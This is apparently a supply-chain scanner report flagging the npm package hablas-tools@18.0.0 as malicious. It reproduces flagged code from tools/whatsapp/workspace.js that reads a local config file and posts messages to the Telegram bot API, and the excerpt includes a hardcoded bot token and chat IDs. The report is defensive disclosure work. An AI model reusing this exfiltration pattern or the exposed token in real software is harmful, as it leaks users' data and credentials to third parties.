hablas-tools@18.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

hablas-tools@18.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

4 flagged · loading source

tools/whatsapp/workspace.jsView file

28function loadConfig() { L29: const p = path.join(process.cwd(), CONFIG_FILE); L30: if (fs.existsSync(p)) { L31: try { return JSON.parse(fs.readFileSync(p, 'utf-8')); } catch { return null; } L32: } ... L53: try { L54: await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { L55: method: 'POST', L56: headers: { 'Content-Type': 'application/json' }, L57: body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), L58: });

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

tools/whatsapp/workspace.jsView on unpkg · L28

28Trigger-reachable chain: scripts.start -> bin/cli.js -> tools/whatsapp/cli.js -> tools/whatsapp/workspace.js L28: function loadConfig() { L29: const p = path.join(process.cwd(), CONFIG_FILE); L30: if (fs.existsSync(p)) { L31: try { return JSON.parse(fs.readFileSync(p, 'utf-8')); } catch { return null; } L32: } ... L53: try { L54: await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { L55: method: 'POST', L56: headers: { 'Content-Type': 'application/json' }, L57: body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), L58: });

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

tools/whatsapp/workspace.jsView on unpkg · L28

•matchType = previous_version_dangerous_delta matchedPackage = hablas-tools@13.0.13 matchedIdentity = npm:aGFibGFzLXRvb2xz:13.0.13 similarity = 0.727 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

tools/whatsapp/workspace.jsView on unpkg

28Trigger-reachable credential exfiltration chain: scripts.start -> bin/cli.js -> tools/whatsapp/cli.js -> tools/whatsapp/workspace.js L28: function loadConfig() { L29: const p = path.join(process.cwd(), CONFIG_FILE); L30: if (fs.existsSync(p)) { L31: try { return JSON.parse(fs.readFileSync(p, 'utf-8')); } catch { return null; } L32: } ... L53: try { L54: await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { L55: method: 'POST', L56: headers: { 'Content-Type': 'application/json' }, L57: body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), L58: });

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

tools/whatsapp/workspace.jsView on unpkg · L28

Source & flagged code

4 flagged

tools/whatsapp/workspace.jsView file

Lines 8-48javascript

8 * auth_info/ ← WhatsApp auth

9 * data/ ← scan results

10 *

11 * Telegram bot with 2 roles:

12 * admin → full control, detailed Arabic display

13 * member → only receives "يوزر متاح @xxx"

14 */

15

16const fs = require('fs');

17const path = require('path');

18

19const CONFIG_FILE = 'yusratak.json';

20const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo';

21const DEFAULT_ADMINS = ['5022812601'];

22const DEFAULT_MEMBERS = ['8986115381'];

23

24// ═══════════════════════════════════════════════════════════

25// Config I/O

26// ═══════════════════════════════════════════════════════════

27

28function loadConfig() {

29 const p = path.join(process.cwd(), CONFIG_FILE);

30 if (fs.existsSync(p)) {

31 try { return JSON.parse(fs.readFileSync(p, 'utf-8')); } catch { return null; }

32 }

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

tools/whatsapp/workspace.jsView on unpkg · L28

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

tools/whatsapp/workspace.jsView on unpkg · L28

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

tools/whatsapp/workspace.jsView on unpkg · L28

33 return null;

34}

35

36function saveConfig(config) {

37 fs.writeFileSync(path.join(process.cwd(), CONFIG_FILE), JSON.stringify(config, null, 2), 'utf-8');

38}

39

40function ensureDirs() {

41 const authDir = path.join(process.cwd(), 'auth_info');

42 const dataDir = path.join(process.cwd(), 'data');

43 if (!fs.existsSync(authDir)) fs.mkdirSync(authDir, { recursive: true });

44 if (!fs.existsSync(dataDir)) fs.mkdirSync(dataDir, { recursive: true });

45}

46

47// ═══════════════════════════════════════════════════════════

48// Telegram — multi-role notifications

•matchType = previous_version_dangerous_delta matchedPackage = hablas-tools@13.0.13 matchedIdentity = npm:aGFibGFzLXRvb2xz:13.0.13 similarity = 0.727 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

tools/whatsapp/workspace.jsView on unpkg